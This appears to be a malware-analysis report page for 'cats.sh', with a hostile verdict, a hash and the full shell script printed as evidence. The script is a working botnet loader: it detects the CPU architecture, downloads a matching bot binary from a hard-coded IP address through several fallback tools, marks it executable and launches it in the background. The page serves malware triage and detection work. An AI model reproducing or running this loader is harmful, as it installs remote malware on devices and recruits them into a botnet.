Hostile 100% Download

cats.sh

Downloads and executes remote malware

Multi-architecture protocol fallback executionBusyBox download chmod local execute
SHA-256717feceb76cec2ccef8269c1c738f5e22f3ce3181d399f75bda574ce3203657f

Evidence

BusyBox wget applet invocation lines 1–27
1#!/bin/sh
2# cats.sh - arch-detect and run qtm.<arch> (apex4 bot) from the loader.
3B=217.60.195.187
4cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /dev/shm 2>/dev/null || cd /
5M=$(uname -m 2>/dev/null)
6case "$M" in
7 armv7l*) F=qtm.arm7 ;;
8 armv6l*) F=qtm.arm6 ;;
9 armv5l*) F=qtm.arm5 ;;
10 armv4l*) F=qtm.arm4 ;;
11 aarch64*|arm64*) F=qtm.arm8 ;;
12 mips64*) F=qtm.mips ;;
13 mips*) F=qtm.mips ;;
14 mipsel*) F=qtm.mpsl ;;
15 sh4*) F=qtm.sh4 ;;
16 ppc*|powerpc*) F=qtm.ppc ;;
17 m68k*) F=qtm.m68k ;;
18 x86_64*|amd64*) F=qtm.x86 ;;
19 i686*|i586*|i386*) F=qtm.x86 ;;
20 *) F=qtm.arm7 ;;
21esac
22rm -f .q
23( wget -q -O .q http://$B/$F || curl -skLo .q http://$B/$F || busybox wget -O .q http://$B/$F || toybox wget -O .q http://$B/$F ) 2>/dev/null
24[ -s .q ] || exit 1
25chmod 777 .q 2>/dev/null
26(setsid ./.q massload >/dev/null 2>&1 </dev/null &) || (nohup ./.q massload >/dev/null 2>&1 &) || ./.q massload >/dev/null 2>&1 &
27exit 0

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.